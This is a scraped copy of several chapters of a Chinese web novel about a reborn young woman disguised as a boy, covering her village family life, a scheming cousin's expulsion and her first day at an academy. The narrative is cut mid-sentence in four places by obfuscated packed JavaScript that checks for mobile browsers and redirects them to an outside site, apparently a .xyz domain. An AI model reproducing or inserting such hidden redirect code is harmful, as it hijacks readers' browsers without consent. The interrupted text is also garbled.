杜七丫吸溜一下口水:“小鸡崽那么可爱,我要红烧的!” 杜青棠:“......” 三个姑娘:“......” 沉默在五人之中无声流淌,杜五丫轻咳一声:“那就买吧,正好咱们今天挣了钱,买六只鸡崽,母鸡可以下蛋,鸡蛋可以补身体,还可以卖钱,公鸡可以打鸣,还可以看家,吃起来也香。” 征得其他人的同意,杜青棠来到阿婆面前:“鸡崽怎么卖?” “这筐三文钱一只。”阿婆又指向左边,“这筐个头略大些,四文钱一只。” 杜青棠看向左右,一番眼神交流后选了三文钱的。 一手交钱,一手交货。 六只鹅黄色小绒球装进竹篓,啾啾叫着挨在一起,看得人心都化了。 “走!回家喽!” “棠哥儿,五姐七丫八丫,我今天真的好开心呀!” 杜六丫嘿嘿笑,一蹦一跳,哼唱起悠扬的乡间小调。 其他三个姑娘也跟着唱,欢快的歌声引得无数路人侧目。 “这是遇到什么好事了?” 杜青棠看向四个姑娘,又看向李家私塾的方向。 嗯,的确是好事。 ...... 回到桃源村,元氏还在元家老屋外忙活。 这一次,姑娘们没再驻足围观,而是目不斜视地路过,留给元氏几道冷酷的背影。 元氏洗碗的手一顿,好似有一根看不见的藤蔓缠住她的心脏,让她的心口泛起细细密密的疼。 疼得元氏面色泛白,喘不过气,痛苦地捂着胸口。 朱氏路过,见元氏如此,不满地嚷嚷:“不干活就给老娘滚蛋,装模作样给谁看呢,老娘可不是你那几个蠢蛋闺女......” 元氏赶紧放下手,加快洗碗的速度。 ...... 另一边,姐妹五人回到家,取出啾啾叫的小鸡崽。 杜五丫和杜六丫收拾鸡棚,杜七丫准备清水,杜五丫则去挖蚯蚓。 四个姑娘忙得热火朝天,倒显得杜青棠无所事事。 杜青棠蹲下身,指腹轻抚小绒球。 小绒球柔软无害,让人的心也跟着软了几分。 “啾啾啾,快来喝水吃饭!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938752|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杜七丫“铛铛”敲木盘子的边缘,小绒球似乎感觉到食物的呼唤,骨碌碌滚过去,大吃特吃。 杜青棠若无其事地收手,回屋收拾行李。 明日书院开课,她不欲每日在县城和桃源村之间往返,浪费时间不说,还耗费精力,得不偿失。 清苑书院为学生免费提供住宿,据说寝舍的环境极好,杜青棠打算平时住在寝舍,月底回村一次即可。 其实她完全没必要费那个辛苦徒步回村,只是元氏太不安分,太容易被元家人撺掇成功。 杜青棠担心元家人把主意打到四个未婚的姑娘身上,这才隔段时间回去一次。 在此期间,她还会请老屋隔壁的三叔公帮忙盯着点,一旦发现问题,立刻让人去书院通知她。 收拾好书本和行李,将其一并放入书箱之中,杜青棠打开昨日刘童生送来的题目。 昨夜她做了四书题和策论题各一道,今天她有一个下午和一个晚上的时间,可以试着做完剩下的题目。 只可惜明日一早便要离家,无法请刘童生评点一二。 杜青棠提笔蘸墨,专注审题。 “王者以民为天,民以食为天。”【1】 这句话出自《汉书·郦食其传》,意思是“对于统治者来说,百姓是最重要的,而对于百姓来说,粮食是最重要的”。【2】 根据这句话写一首试帖诗。 试帖诗又称“赋得体”,是科举的必考科目。 一般情况下,童生试考五言六韵诗,乡试和会试考五言八韵诗。 杜青棠的目标是县试,刘童生便在题干中明确要求她写出一首五言六韵诗。 从构思到落笔,杜青棠只用了很短的时间,一首《赋得民以食为天得天字五言六韵》一气呵成。 接下来是策论题。 杜青棠稍停片刻,继续提笔作答。 时间一点一滴地流逝,杜青棠写完策论,敲门声响起。 杜五丫在门外喊:“棠哥儿,吃饭了。” 杜青棠用镇纸压住写有试帖诗和策论的宣纸,以防被风吹跑,出门就看到小鸡崽被杜七丫撵得满院子跑,鹅黄色绒毛炸开,明显吓得不轻。 “哎呀,你们跑什么?快来让我摸摸嘿嘿嘿......” 三个姑娘被她耍宝般的语气逗得哈哈大笑,扶着门框站都站不稳。 杜青棠看着这一幕,神情一阵恍惚。 她好像回到很多年前。 那时候什么都没发生,元氏没有在她高中进士后以死相逼,让她嫁给元盛,她也没有遇到三个人渣,落得不得善终的下场,在她面前嘻嘻哈哈、眉眼飞扬的四个姑娘更没有死的死,疯的疯。 她只是杜青棠。 保定府清苑县桃源村的杜青棠。 来自现代的杜青棠。 她有一个时刻怀念、却永世不得再见的爷爷,有一个不负责任、深受封建礼教荼毒的母亲,还有八个对她疼爱有加的姐姐。 在这个阳光明媚的正午,一切都是那么的美好惬意。 杜青棠立在檐下,眼底晕开连自己都不曾察觉的笑意。 19.019 却说杜青棠登门拜访,送来她顺利考入书院的好消息,也带来了一个噩耗。 ——与人无媒苟合,私定终身,且脚踩两条船的无耻之徒意图攀附自家宝贝疙瘩,毁坏她的名声,这不是噩耗是什么? 方氏咬牙:“夫君,绝不能放过他!” “这是自然。”李先生怒火中烧,烧得他双目赤红,一呼一吸都是滚烫的怒火,“夫人,还请你走一趟薇姐儿的房间。” 方氏当即会意,风风火火地去了。 李先生喝完一杯茶,勉强压下心头火气,方氏带着一叠书信回来,双眼泛红闪着泪光,哽咽道:“夫君......” 李先生沉默不语,为夫人斟一杯茶,示意她坐下,然后打开信封。 二十八封信,其中二十一首情诗,七篇四言骈文情书。 李先生自虐般的看下去,每个字、每句话都化作淬毒的尖刺,刺进他的心口,刺得他鲜血淋漓,喉咙里弥漫开浓郁的血腥气。 方氏见李先生脸色青了又白,担忧地覆上他的手:“夫君。” “我没事。”李先生深吸一口气,终究是没忍住,在发妻面前老泪纵横,“夫人,是我们没有保护好薇姐儿,才让她遭到无耻之徒的觊觎。” 方氏泪水夺眶而出,握紧彼此的手:“夫君打算如何处理此人?” “杜青棠有句话说的很对,世间女子不易,若是将此事公之于众,怕是会让薇姐儿名声尽毁。”李先生抹去脸上的泪痕,语气坚定,“元盛交给为夫处理,薇姐儿那里就有劳夫人了。” 方氏摇头:“薇姐儿也是我的孩子,你放心,我会好好跟她谈一谈,再不济她还有两个嫂子。薇姐儿是个明事理的好孩子,她只是一时误入歧途,定能悬崖勒马,回归正途。” 书房内,夫妻二人商议一番,方氏便离开了。 李先生面无表情地将书信整理好,吩咐守在门外的老仆:“去叫元盛过来。” “是。” ...... “元盛可在?” 课室内,元盛抬手示意。 “先生让你过去。” 元盛起身向门外走去,昨日见到杜青棠之后生出的不祥预感越发强烈。 杜青棠不是已经考入了清苑书院? 她又回来做什么? 元盛想起不久之前,杜青棠曾用李薇威胁他。 李先生的这个女儿生得貌美娇憨,被她爹娘养得过于天真,他不过随手写了一首诗,李薇便不可自拔地爱上了他。 元盛十分享受李薇崇拜的目光,但是他很清楚,他不会娶李薇为妻。 李薇的父亲只是个教书先生,无法在仕途上帮到他。 他的妻子要么是为他出生入死的挡箭牌杜青棠,要么是达官贵人家中的女儿。 只是如今他与杜青棠撕破脸,双方不死不休,显然再无可能,那么只剩后一个选择。 元盛心思翻涌,面上不动声色,笑着问:“老伯,先生让我过去有何要事?” 老仆一问三不知:“我只是一个下人,如何知道老爷的事情?” 元盛不轻不重吃了个软钉子,愈发忐忑不安。 杜青棠那个贱人不会真的跟李先生告状了吧? 如果是真的,他该如何破局? 娶李薇为妻? 可是李薇的身份实在太低...... “到了,进去吧。” 老仆的声音打断元盛的臆想,他回过神,心不在焉地道声谢,走进书房:“先生,您让学生过来......” 未说出口的话在看到桌角的信封后戛然而止。 元盛认得那些信封,上面的蔷薇花是他为了哄骗李薇亲手所画。 李先生端坐于书桌后,眼神是从未有过的冷漠:“元盛,你让为师非常失望。” 元盛膝盖一软,扑通跪下,向来巧舌如簧的他这一刻像是被锯了舌头,结结巴巴:“先、先生,学生愿意迎娶......” “迎娶?”李先生没给他说出那个名字的机会,“据我所知,你与一人无媒苟合,私定终身,又与另一人关系匪浅,无论你迎娶哪一个为妻,注定要负了另一人。” 元盛愣了下:“先生明鉴,学生与那两个人没有任何关系,一切都是学生的表弟杜青棠刻意陷害,学生是想迎娶令......” “住口!”李先生拍案而起,指着元盛怒斥,“杜青棠品学兼优,为人光明磊落,岂是你这等无耻小人可以污蔑的?” 李先生怎么也没想到,元盛不但癞蛤蟆想吃天鹅肉,想要迎娶他的薇姐儿为妻,还倒打一耙,污蔑杜青棠。 若非杜青棠好意相告,他不敢想薇姐儿的结局会是怎样。 元盛差点没被李先生的话噎死:“先生,您真的误会我了,杜青棠......” “不必再说,我不想听。”李先生坐回去,“我这小庙容不下你这尊大佛,你走吧,即日起你不再是李家私塾的学生。” “先生!”元盛慌了,“学生实在是情难自......” 李先生沉声警告:“慎言,你若再执迷不悟,说出什么不该说的话......我会让你在整个清苑县无立足之地。” 当然,就算元盛不说,他也不会让元盛好过。 对上李先生凌厉的双眼,元盛像是被戳破的气球,瞬间卸去全身力气,一屁股坐到地上。 完了! ...... 任由元盛如何哀求,如何认错,李先生心意已决,还是将他逐出了私塾。 这还不够。 待元盛走后,李先生去信给清苑县其他几家私塾的教书先生,言明元盛此人品行低劣,不宜收为学生。 李先生与人为善,交友甚广,其中就包括收信的几位教书先生,这点面子他们还是会给的。 元盛漫无目的地走在街上,这一刻,他对杜青棠的恨意抵达顶峰,恨不得现在就冲到她面前,将她千刀万剐,碎尸万段! 但是在此之前,他打算去见一个人。 “谢兄,最近家中出了点事情,急需用钱,不知能否......”元盛一脸羞愧,“还请谢兄放心,元某会尽快把这钱还上的。” “元贤弟这么说未免太见外了,你我相识多年,如今你遇到难事,我理应施以援手。”谢兄谢光从袖中取出一百两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946677|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银票,“够吗?” 元盛接过银票:“多谢谢兄。” 谢光不以为意:“我爹娘还有兄长每个月都会给我很多钱,我也用不完,与其买些没用的小玩意儿,还不如借你解决燃眉之急。” 元盛眼里飞快闪过一抹嫉恨。 谢光商户出身,清苑县最大的绸缎庄就是他家的,除此之外还有许多商铺,可以说是日进斗金。 苍天何等不公,谢光这等草包生来就可以拥有优渥的家境,而他元盛天资聪颖,有辅宰之相,偏偏生在乡野农门,什么都要自己去争取。 好不容易进入李家私塾,如今却竹篮打水一场空。 元盛掩在袖中的手紧握成拳,若无其事地道:“对了谢兄,如果我没记错的话,你在清苑书院的丁班读书?” 清苑书院有四类班级,分别是举人班,秀才班,童生班和启蒙班。 每类班级之下又分为甲乙丙丁四等,其中以甲班最优,丁班最次。 这里的最优和最次并非教谕的教学水平。 书院两月一度招考,通过考核的考生都将进入启蒙丁班,而丁班所能容纳的学生人数有限,于是清苑书院做出规定,书院每月一小考,两月一大考,考中一次前五名,便可升入上一等班级,一年之中集齐三次前五名,便可免去次年的束脩。 凡是有上进心的学生,或者为了免去束脩,进入书院后很快考出丁班。 长此以往,自然好的更好,差的更差。 这些学生中,唯独谢光是个例外。 谢光十五岁考入清苑书院,一晃五年,昔日同窗要么考取功名,脱离启蒙班,要么升入甲班乙班,唯独谢光还留在丁班做留级大王。 元盛这话让他有些不高兴:“问这个做什么?” “谢兄莫怪,我只是......”元盛似乎并未察觉谢光的不喜,欲言又止,“只是我有一表弟,前几日考入清苑书院。” 谢光:“那不是挺好?” 清苑书院可不是什么人都能考进来的。 元盛叹息:“只是我这表弟诡计多端,阴险狡诈,最爱背后捅人刀子,我担心她因为你我交好的缘故对你下手,这才想提醒谢兄一二。” 谢光皱眉:“你们关系不好?” 元盛颔首:“谢兄可曾听闻有关元某的一些流言?” 谢光当然听说了,丁班许多人引以为耻,但他觉得元盛不是这种人,还与人据理力争,大吵了一架。 “表弟家境贫寒,这些年全靠我爹娘的接济才得以读书,谁料她竟恩将仇报,在外散播有关我的不实言论,害我声名狼藉。” “我实在心寒,又不愿同室操戈,只能当做什么也没发生过。” 谢光大惊,随即而来的是愤怒和鄙夷:“好一个白眼狼!” 元盛掩面而泣,说不出话。 谢光不忍,向他保证:“元贤弟你且放心,她害你至此,我是不会放过她的!” 元盛低头,嘴角闪过得逞的笑。 谢光此人蠢笨如猪,最适合被利用来对付杜青棠。 杜青棠害他被逐出私塾,他就让她身败名裂,在清苑书院无立足之地! 20.020 杜青棠丝毫不知元盛的算计,午饭时间到,她正好写完一篇策论,去灶房打下手。 杜七丫还在院子里撵鸡,她仗着自己个头大,弯腰一捞,鹅黄色的小绒球便落入她手中。 她桀桀笑,故作凶狠:“小乖乖,任你长出八条腿,也逃不出我的手掌心!” 可怜的小鸡崽被杜七丫吓得炸毛,软着两条小细腿,坐在可怕的两脚兽的手心里,啾啾叫声听起来无助极了。 “什么八条腿,长出八条腿那还是鸡吗?赶紧放了它,别把它吓坏了!” 元氏不在,杜家就属杜五丫最大,她一声令下,杜七丫不甘不愿地放下小鸡崽。 小鸡崽刚一落地,便颤巍巍跑远了,曲线走位逗得杜七丫咯咯直笑。 “别玩了,过来把豆腐切了。” “来了来了。” 杜七丫蹦跳着钻进灶房,杜青棠紧随其后。 很快,灶房飘出浓郁的香味。 鲫鱼汤白如牛奶,佐以刘童生家卖的豆腐和山里采摘的野生菌菇,汤浓味鲜,只闻着就让人垂涎三尺,食指大动。 除此之外,还有清炒莴笋、咸菜炒百叶和没吃完的卤猪下水。 足足三菜一汤,荤素搭配,营养均衡。 “以前咱家过年吃的都没这么丰盛。” “以前咱们都在灶房吃饭,现如今换了大房子,连吃饭都在亮堂堂的堂屋里,真好啊。” “天冷菜凉得快,赶紧吃吧。” 杜青棠一声令下,姑娘们埋头扒饭,一个个狼吞虎咽,话都顾不上说。 灿烂阳光从敞开的大门争相涌入堂屋,照亮空气中漂浮的尘埃,也照亮姑娘们眼底闪烁的晶莹。 这样的日子,她们以前想也不敢想。 不必再挨骂受罚,不必再挨饿受冻,还有很多肉吃。 幸福来得如此猝不及防,她们身上是暖的,心口也是暖的,暖得她们鼻子发酸,热泪盈眶。 真希望这不是一场梦。 如果这是梦,她们希望永远也不要醒过来。 ...... 吃饱喝足后,姑娘们准备洗锅刷碗,然后像往常一样,做绣活儿或者刻木雕。 “等一下。”杜青棠让她们坐下来,取出荷包,“先把钱分了。” 杜五丫:“我没有要用钱的地方,棠哥儿你自个儿存着吧。” 杜六丫:“没错,都存在你那里,我们也放心。” 杜八丫小鸡啄米点头,杜七丫想说什么,咬咬嘴唇,最后还是没吭声。 杜青棠却道:“我之前说了,姑娘家有钱才有底气,这钱你们分了,回头想买什么都可以,吃的穿的用的都行,只要自己开心就好。” 见杜青棠态度坚决,姑娘们只好答应。 杜五丫竖起一根手指:“就这一次,以后挣了钱还是放在你的手里,如果我们要用钱,就跟你要,棠哥儿你说行不?” 双方各退一步,杜青棠颔首:“可以。” 卖鱼和卖木雕共挣了一百六十文,每人分得四十文。 铜板握在手心冰冷而又坚硬,姑娘们的心却像是浸在温泉里,暖流汩汩涌动,脸上的笑怎么也止不住。 分完钱,杜青棠帮着收拾了满桌残骸,就回屋继续刷题。 傍晚时分,杜青棠用油纸包了一块腊肉,揣着去了三叔公家。 隔壁的老屋门上挂着一把铁将军,显然元氏还在元家当牛做马。 杜青棠没把她放在心上,有的人活该吃苦受累,最好离得远远的,这样才眼不见心不烦。 见到三叔公,杜青棠表明来意:“明日我将去清苑书院读书,月底才能回来,我不放心我娘一个人住在老屋,还请您多多费心。” 三叔公爽快应下:“这肉我不要,你带回去。” 杜青棠没应,放下腊肉健步如飞地离开,老人家一把年纪腿脚不好,硬是没追上。 - 翌日,杜青棠天未亮便从家出发。 步行半个时辰,在天蒙蒙亮的时候抵达清苑书院。 书院前停了很多辆马车,一旁还有仆从相伴,不必看就知道,马车里的人非富即贵。 “杜同窗!” 身后传来颇为熟悉的嗓音,杜青棠转头看去:“傅同窗。” 没错,来人正是入院考核的第五名,傅文。 “真巧,我刚赶到这里,杜同窗你也到了。”傅文轻微喘气,呼吸间喷薄出白雾,“杜同是打算借住寝舍,还是住在家中?” 杜青棠正要回答,不远处有人惊呼:“快看,那是曹家的马车!” 杜青棠循声望去,一辆由紫檀木打造的马车缓缓停下,车厢旁悬下的木牌随风摇曳,银钩铁划的“曹府”若隐若现。 “曹家?哪个曹家?” “自然是夏京的曹家,曹首辅的曹家!” 人群中再次响起惊呼。 “莫非曹家子孙也来清苑书院读书了?” “显而易见。”最先发出呼声的男子一脸高深莫测,“据说是曹首辅的嫡次孙,身份尊贵着呢。” “夏京有国子监,他为何不入国子监,反而不远千里来到保定府求学?” 男子十分享受他人的注目,挑起下巴不无得意地说:“曹公子十分推崇姚山长的学识品行,这才不远千里来此。” 众人发出恍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949317|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而又与有荣焉的嘘声。 “原来如此。” “那你我岂不是要跟这位曹公子成为同窗了?” “生在天子脚下,顶级世家,曹公子必定学识不凡,真想与他探讨一二。” 杜青棠兴致缺缺地收回视线,没记错的话,曹首辅的嫡次孙名为曹行粲,傲才视物,目中无人,不屑与平头百姓探讨学问,这人怕是要失望了。 反观一旁的傅文,满脸向往与憧憬:“首辅可是文官之首,天下读书人的终极目标啊!” 杜青棠莞尔,曾几何时,她也曾妄想位极人臣,官拜首辅。 可惜现实残酷,无疾而终。 “走吧,去登记。” “嗯,好。” 两人来到朱红色大门旁,根据考核那日号牌上的数字登记入册,以表明本人已报到。 “十八号,杜青棠。” 话音刚落,就有无数视线或明或暗地落在杜青棠身上。 “她就是第一名?” “一个乳臭未干的小娃娃?” “不可以貌取人,古有甘罗十二岁为相,十多岁的第一名不是没可能。” “不世之材绝非萝卜青菜,随处可见,不过是瞎猫碰到死耗子,运气好罢了。” 议论声灌入耳中,杜青棠神色不变,仿佛被指指点点,贬低看轻的人不是她。 负责登记的小童问:“住寝舍还是走读?” 杜青棠:“住寝舍。” 小童道:“寝舍两人一间,若有相熟之人,可自行组为舍友,否则随机分配。” 杜青棠沉吟片刻,看向右侧,语气恳切:“傅同窗,不如你我同寝?” 傅文面露诧异:“我?” 杜青棠:“没错,正是傅同窗。” 她之所以选傅文,不仅仅因为此人知礼节懂进退,更因为她是女子。 没错,她是女子。 那日初见,杜青棠一眼就看出来了。 她记得,第一世高中进士那年,榜眼正是保定府人士,名为傅文。 她还记得,同年秋,傅文那体弱多病,常住庙庵,鲜少现身人前的胞妹傅辞溘然长逝。 傅文痛不欲生,丧礼期间数次痛哭到晕厥。 此事传开,傅文广受赞誉,就连庆元帝也因为傅文重情重义,将公主下嫁给他。 两人婚后琴瑟和鸣,育有三子二女。 “当然可以。”傅文的神情恢复如初,笑容依旧温润无害。 两个女子如何生儿育女? 还是说...... 此傅文非彼傅文? 杜青棠眉梢微挑,事情变得有趣起来了。 21.021 杜青棠之后,小童为傅文登记报到,取出两把钥匙:“寝舍在最左边,你二人可自行前往。” “多谢。”杜青棠接过钥匙,分一把给傅文,“走吧,先去寝舍安顿下来,下午还要上课。” 杜青棠与傅文顺着人潮走进书院,循着小童指点的方向前往寝舍。 不过多时,一排排青色砖瓦房映入眼帘。 砖瓦房前,一块半人高的石板斜斜插进泥土,石板上龙飞凤舞写着“寝舍”二字。 “到了。”傅文虚指石板,“我方才数了下,二十间寝舍为一排,我们的寝舍是七十八号,即第四排第十八间。” 两人很快找到相对应的寝舍,杜青棠用钥匙开了锁,放眼望去,正对门的是一扇窗,窗前并列摆放着两张书桌,书桌两旁各有一张木架子床,上面整齐摆放着被褥和枕头。 走进寝舍,门边立着一只橱柜,双开门,柜门大敞,内里以木板隔开,左右各有五个格子,最底下还有一个抽屉。 寝舍还算干净,想来上一任住户离开没多久,只有浅浅一层灰,稍后用浸湿的抹布简单擦拭一下就行。 “傅同窗,你习惯睡左边还是睡右边?”杜青棠取下肩头沉甸甸的书箱,问一旁同样在观察环境,似乎有点出神的傅文。 傅文回过神:“我随便......左边的吧。” 杜青棠打开书箱,去外面打来一盆清水,抹布擦去床上、桌上的灰尘,取出床帐放到右手边的木架子床上,随后搬来凳子,脱了鞋站上去:“傅同窗,麻烦你将床帐递给我。” 床帐? 傅文愣了下才反应过来,将床帐递到杜青棠手中。 杜青棠道声谢,动作麻利地挂好床帐,跳下凳子后退两步,查看是否妥当。 那日从清苑书院回来,当晚她翻出家里的碎布,又跟杜五丫借了针线,花了两天时间,一针一线缝制出这副床帐。 因为床帐是由碎布拼接而成,深色浅色皆有,整体颜色颇为怪异,看起来有些不伦不类。 但是对杜青棠来说,有总比没有好。 她连马厩羊圈都住过,能有一间遮风挡雨的寝舍已经很满足了。 床帐有些歪了,杜青棠又爬上凳子。 傅文围观全程,很是不明所以:“杜同窗,你这是......” 杜青棠调整床帐:“虽然你我同住一间寝舍,但是我觉得彼此可以给对方留一些私人空间。” 她回头:“傅同窗,你觉得呢?” 傅文先是一怔,随后眼中闪过窃喜:“杜同窗此言有理,回头我也做......咳,我的意思是,让我娘做一副像你这样的床帐。” “倒也不必。”杜青棠轻笑,“我的书箱里面还有一副,你可以先拿去用。” 傅文连连摆手:“不可不可,我怎么能用杜同窗你的东西?” 杜青棠心说那就是给你准备的:“无妨,我只是习惯性备两份,以备不时之需,你若实在过意不去,请我去饭堂吃顿午饭就行。” 话已至此,傅文不再推拒:“那就多谢杜同窗了。” 挂好床帐,杜青棠又把换洗衣物放进橱柜,书本放到桌上。 如此这般,便算是彻底安顿下来了。 另一边,傅文在杜青棠的指点下挂好床帐,她看着将木架子床围得密不透风的床帐,背对杜青棠翘起嘴角。 有这副床帐,她便可守住她最大的秘密,直到...... 不知想到什么,傅文紧抿嘴角,再不见一丝喜色。 “根据以往惯例,启蒙班的教谕会在新生入学的第一节课上考校背诵和默写,时间还早,不如我们再看一会儿书?” 杜青棠平缓的嗓音中断傅文翻涌的思绪,她点头:“好,我正有此意。” 于是,两人并肩坐在桌前,翻开书本,或默背,或默写,认真专注,互不打扰。 ...... 一个时辰转瞬即逝。 杜青棠合上《礼记》:“正午了,先去饭堂吃饭,未时还要上课。” 傅文刚默写完《大学》,闻言放下毛笔,整理好满桌狼藉,随杜青棠前往饭堂。 既是清苑书院的饭堂,里面的饭菜自然十分丰盛,有荤有素,色香味俱全。 杜青棠知道傅文家境不丰,囊中羞涩,只选了一荤一素,清炒油菜和白菜炒肉片。 傅文如何看不出杜青棠是在体谅她,面上微热,有些不好意思:“不如再买两个菜?” 杜青棠摇头:“够了。” 负责打菜的婶子收了钱,舀起一勺白菜炒肉片,习惯性手抖几下,肉片瞬间没了一半。 杜青棠:“......” 傅文:“......” 饭菜需要钱,但是汤免费赠送。 今天的汤是萝卜丸子汤,每人可分得一只肉丸,萝卜若干。 吃饱喝足后,杜青棠向饭堂守门的老丈打听了启蒙班的位置,两个人就这么慢吞吞地走过去,熟悉环境的同时顺便消消食。 清苑书院很大,西边是饭堂和寝舍,北边是教授、教谕们的值房和寝舍,东边和南边则是学生们的课室。 启蒙班在东边,边上就是童生班。 各班门上挂着木牌,沿着长廊一路向北,木牌上清晰明了地写着“童生甲班”“童生乙班”。 童生班之后就是启蒙班,启蒙丁班在最里面。 丁班已经有好些学生,三五成群地聚在一起,或探讨学问,或谈笑风生。 杜青棠推开半掩的门,“咯吱”一声,引得班级里的学生扭头看过来。 见来人是生面孔,又年岁较小,不感兴趣地把头转回去,只有个别学生向杜青棠和傅文发出善意,笑着点头示意。 “除了桌上有书的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955260|160039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其他位置都可以坐。” “多谢。” 傅文选了中间第三排,不忘征求杜青棠的意见:“杜同窗,你觉得怎么样?” 杜青棠无所谓:“可以。” 两人落座,傅文小声道:“我之前在村塾读书,坐在第一排,先生总是在我面前讲课,一节课结束我的脸就没干过,这次吸取教训,还是离远一点。” 杜青棠:“......” 虽然她没体验过私塾先生的口水洗礼,但是从傅文的语气,可以感受到她的痛苦和无奈。 杜青棠从书袋中取出笔墨纸砚和书本,因为不知道考校背诵和默写之后要学什么,她把四书五经都带过来了。 有些沉,总好过无书可用。 趁教谕还没来,她打算再看一会儿书,复习巩固,深入思考总是没错的。 约摸过去小半个时辰,一阵喧哗声由远及近。 杜青棠闻声抬头,敏锐地捕捉到课室外传来的“曹首辅”、“器宇不凡”、“嫡系血脉”之类的字眼。 不用看就知道,是那位身份尊贵,不可一世的曹二公子,曹行粲。 “砰”一声,门板被大力推开,一群人闹哄哄地涌入进来。 杜青棠前世曾与曹行粲有过一面之缘,不过是在刑场上。 庆元帝的皇后出身曹氏,膝下有四皇子和五皇子两位嫡子。 那年,临江府蝗灾之后又逢大旱,四皇子联合曹氏嫡长孙扣下赈灾银两,导致临江府饿殍遍地,易子而食。 百姓走投无路,杀了临江府知府,将官仓中的粮食洗劫一空,后又占山为王。 消息传到夏京,庆元帝震怒。 曹行粲被曹氏推出去,成了四皇子和兄长的替罪羊,惨遭凌迟处死。 满朝皆知曹行粲的无辜,可那又如何? 谁让曹首辅权倾朝野,而皇族式微,要想保命,只能做那睁眼瞎,稀里糊涂地活着。 杜青棠又想到五皇子夏启煊。 正是因为有曹首辅这个外祖父撑腰,她才会被革除官职,被夏启煊那个畜生困在王府数年,受尽苦楚。 明明只差一步,只差一步她就能说服庆元帝开女子科举,以女子之身堂堂正正走上朝堂。 而现实却是,她被硬生生逼成一个疯子,成为齐营中最下等的仆婢,最后悄无声息地死去。 想到这,杜青棠呼吸急促,捏着书角的手指痉挛抽搐,心脏像是被揉成一团,近乎停止跳动。 与此同时,曹行粲在走进课室的第一时间锁定杜青棠,向她走来。 来者不善! 傅文意识到这一点,见杜青棠魂不守舍,赶紧推她:“杜同窗!杜同窗!” 杜青棠猝然回神,曹行粲已经来到她面前,居高临下地看她,神情倨傲,仿佛在看一只不起眼的蝼蚁。 “你就是考核第一?” 22.022 杜青棠暗中运气,缓解窒息感。 曹行粲迟迟得不到回应,不满地啧了一声:“本公子在问你话!” 众人见首辅大人的金贵嫡孙面露不善,不由得替杜青棠捏一把汗。 也不知这人怎么得罪了曹公子,难道只是因为她在考核中得了第一名? 等等! 考核第一名? 没记错的话,本次招考共有一百四十名考生,力压一百三十九人坐上第一宝座的,居然是个乳臭未干的总角小儿? 曹公子会不会认错了人? 课室内静得落针可闻,丁班的学生虽是这样想,却不打算替杜青棠说些什么。 没必要为了她得罪曹行粲这样的权贵子弟。 傅文倒是有心,被杜青棠抢了先:“如果曹公子问的是三天前的考核,那么第一名正是杜某。” 角落里,趴在桌上小憩的青年猛地抬起头,视线牢牢锁定杜青棠的背影。 杜某? 莫非此人就是元贤弟的表弟? 曹行粲挑眉:“你知道我?” 杜青棠面不改色:“方才杜某听旁人这般称呼曹公子。” “你今年几岁?瞧着不过幼学之年。”不待杜青棠回答,曹行粲又问,“你出身哪家名门望族?师从哪位大儒?” 若是普通考核便也罢了,此次考核中不乏权贵出身,师承名门的考生,他不觉得寻常门第能教养出杜青棠这样优秀的人。 男子十岁,是为幼学之年。 杜青棠知道自己生得瘦弱,较同龄人矮上一头,她低头看蓝白相间的书院服,正因为所有人服饰统一,曹行粲才不曾看破她的清贫。 “杜某今年一十有二,家住清苑县桃源村,师从李家私塾的李先生。” “李先生?”曹行粲不记得有这么一位姓李的大儒。 一旁有人替他解了惑:“李先生是先帝时期的举人。” 曹行粲:“只是举人?” 那人有些受宠若惊,字正腔圆地道:“没错,只是举人,而非大儒。” 许是过于惊讶,曹行粲半晌才找回声音,语气依旧傲慢:“你......你也不过如此,这次只是侥幸名列榜首,月底我会让你知道,谁才是名副其实的第一。” 杜青棠:“......” 嘴比头硬说的就是他。 当年曹行粲受凌迟之刑,坚.挺到最后的怕不是他这张嘴? 曹行粲放完狠话,带着几个跟班找位置坐下,任旁人如何恭维讨好,始终一副漫不经心的姿态。 “他好嚣张。”杜青棠听见有人低声说。 的确嚣张。 